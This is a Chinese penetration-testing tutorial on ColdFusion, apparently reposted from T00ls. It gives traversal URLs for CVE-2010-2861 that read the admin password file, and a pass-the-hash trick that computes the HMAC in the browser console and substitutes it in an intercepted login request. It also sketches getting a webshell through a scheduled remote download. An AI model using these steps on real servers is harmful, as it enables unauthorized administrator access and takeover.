科普检测ColdFusion

  • A+
所属分类:安全文章

1.科普

1.什么是ColdFusion


这东西在国内遇到的确实不多,所以可能很多人感到挺陌生,但是国外用的多啊,全球用户貌似比asp的多,因为我用google搜”inurl:index.cfm”的数量要比”inurl:index.asp”多。

下面摘自百度百科:

Coldfusion 最早是由 Allaire 公司开发的一种应用服务器平台,其运行的 CFML(ColdFusion Markup Language) 针对Web应用的一种脚本语言。文件以*.cfm为文件名,在ColdFusion专用的应用服务器环境下运行。在 Allaire 公司被 Macromedia 公司收购以后,推出了 Macromedia ColdFusion 5.0,类似于其他的应用程序语言, cfm文件被编译器翻译为对应的 c++ 语言程序,然后运行并像浏览器返回结果。
自Macromedia接收Allaire公司后,把原来基于C++开发的ColdFusion改为基于JRun的J2EE平台的一个Web Application(JRun也是Allaire公司的一个J2EE服务器产品),并正式推出 Macromedia ColdFusion MX 6.0 版本,此时的cfm运行原理就和java非常的类似,cfm文件被应用服务器编译为对应的 java 代码并编译成 .class 文件在 jvm 虚拟机上运行。从此ColdFusion完全从一个功能齐全的动态Web服务器转变为一个J2EE应用服务器。同时依旧保留了原有版本的所有特性。
ColdFusion 的页面后缀通常为.cfm,同时 Macromeida 公司在发布 ColdFusion MX 的时候借鉴于 java 面向对象设计风格,设置了 .cfc 这样的 ColdFusion 文件后缀,他们被称作 ColdFusion Components [CFM组件]。 cfc 文件就好比一组 cfm function 的集合,使对应的代码具有高度的可重用性。虽然 .cfc 和 custom tag 具有类似的重用性,但 cfc 提供了更加灵活的调用方式,例如 webservice 方式的调用支持。

CFM 并不等同于 ColdFusion。 CFM 是一种标志语言,而 ColdFusion 是一种应用服务器环境。对于标准的语法结构的 cfm,cfc 文件,它们不仅仅可以运行在 Macromedia ColdFusion 服务器上,同样的也可以直接在BlueDragon服务器环境下。


上面说了那么多,对于我们做渗透测试的就别管他们什么历史了,就把他们当作Adobe的一个产品都行了,然后可以为用户提供网站的服务。可以搭建在 IIS、Apache等webserver上使用,扩展性很强。 ——-PS:我不是专业CF开发人员,不懂请见谅。
2. 谁在用ColdFusion

这个太多了,当然国内用的比较少。在美帝用的很多,包括很多很多政府、学校、企业。不像天朝,逮住都是动易+IIS、phpcms、dedecms什么的,所以手握0day秒天朝很多站啊。

举几个例子吧:英特尔、BMW、美帝第一信用卡中心、美国银行、NASA、思科、Ebay、赛门铁克神马神马的。并且用户量在高速增长。

3. 我怎么知道是不是用了ColdFusion

很简单,看到.cfm的差不多就是了。或者报错信息里有的也是。所以GoogleDork也很简单了,直接:inurl:index.cfm出来的都是了。


2.路径遍历漏洞攻略

集了下怎么攻击coldfusion,这是系列文章之二,任意文件读取漏洞的利用方法。一是科普,这儿略过。后续的以后再写。

注:本文亮点不多,但是跳过破解密码直接登录那点,我感觉值得一看。我遇到过两次破解不了密码的了。。

漏洞简介:

编号:CVE-2010-2861 APSB10-18

‘locale’ Path Traversal Vulnerability detected

影响版本:

ColdFusion MX6 6.1 base patches
ColdFusion MX7 7,0,0,91690 base patches 无补丁
ColdFusion MX8 8,0,1,195765 base patches
ColdFusion MX8 8,0,1,195765 with Hotfix4

查看版本信息tips:

http://target.com/CFIDE/adminapi/base.cfc?wsdl


漏洞利用:


http://target.com/CFIDE/administrator/enter.cfm?locale=................ColdFusion8libpassword.properties%00en

http://target.com/CFIDE/administrator/enter.cfm?locale=................CFusionMX7libpassword.properties%00en

http://target.com/CFIDE/administrator/enter.cfm?locale=....................JRun4serverscfusioncfusion-earcfusion-warWEB-INFcfusionlibpassword.properties%00en


以上是获取CFIDE的密码,其他自行构造。同时,附上一个python利用脚本,可以指定是否是jrun和自动判断版本。

http://code.google.com/p/cfide-a ... py&can=2&q=

效果如图:

科普检测ColdFusion

密码是用sha-1加密过的,可以到http://www.md5decrypter.co.uk/sha1-decrypt.aspx这儿去破解下

破解出来后直接登录即可。

Tips:如果密码破解不出怎么办?放弃?当然不是,这里有个小技巧。coldfusion的密码在验证的时候,是把输入的密码加salt进行HMAC hash后传给服务器,由服务器去计算后验证。所以这时候我们只要传输过去正确的加密后的密码即可成功进入,而不必在那破密码了。但是问题是如何计算 HMAC值。

其实方法很简单,只要用js调用页面里的加密函数即可(页面每30秒刷新一次,所以下手要快),方法如下,这里我用firebug演示了~:

1.F12调出firebug

2.进入控制台选项

3.在下面输入hex_hmac_sha1(document.loginform.salt.value,"password") password是你获取到的那个加密后的密码

4.回车,得到一个字符串,如下图:

科普检测ColdFusion

5.打开burpsuit或者什么的,用来修改数据包用到,这里用tamper data插件,点击start tamper 后点登录,截断修改传送的cfadminPassword值为上面js获取的那个字符串值

科普检测ColdFusion

6.一路submit,成功不用解密密码进入后台:

科普检测ColdFusion



后台获取webshell

这个简单,添加计划任务后执行,远程下载一个shell到本地目录就OK了。这里就不多说了。

后记:

这个漏洞还算实用,不过大都打补丁了,个人感觉用js绕过解密那步更实用。。。


本文作者:cnssrstar

本文始发于微信公众号(T00ls):科普检测ColdFusion

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: